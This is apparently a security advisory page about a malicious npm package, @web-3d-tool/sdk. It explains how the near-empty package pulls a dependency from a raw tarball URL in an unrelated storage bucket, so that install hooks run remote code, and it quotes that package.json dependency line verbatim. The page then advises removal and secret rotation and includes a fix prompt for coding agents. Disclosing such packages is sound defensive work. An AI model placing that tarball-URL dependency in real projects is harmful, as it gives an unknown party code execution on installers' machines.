# MAL-2026-4465: Malicious code in @web-3d-tool/sdk (npm)


- **Type:** Malicious package
- **Package:** `@web-3d-tool/sdk` (npm)
- **Published:** 20 May 2026
- **Also known as:** GHSA-qmfq-m796-v557

## What is MAL-2026-4465?

MAL-2026-4465 is a malicious package in @web-3d-tool/sdk, published on 20 May 2026. 

### Official description

@web-3d-tool/sdk is a near-empty package (trivial 35-byte index.js, empty author/description metadata) whose only effect on install is to pull in a dependency declared as a raw tarball URL: `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.3.1.tgz"` (package.json line 9). The bucket `ltidi.storage.googleapis.com` is unrelated to the @web-3d-tool namespace, is not a versioned npm registry artifact, and the bucket owner can mutate the served tarball at any time without changing this package's version. Any lifecycle hooks (preinstall/install/postinstall) inside the fetched tarball execute on `npm install` of this package, giving the bucket owner arbitrary code execution on the installer's machine. The combination of hollow lure package + tarball-URL dependency + unrelated anonymous storage bucket + missing publisher metadata is the namespace-abuse dropper shape — the package itself is not the payload, the resolved dependency is.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4465?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4465 is a malicious package: @web-3d-tool/sdk (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4465/ (Markdown: https://insights.sbomify.com/MAL-2026-4465/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4465

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4465/
Summaries are generated and may contain mistakes; the official description above is the record.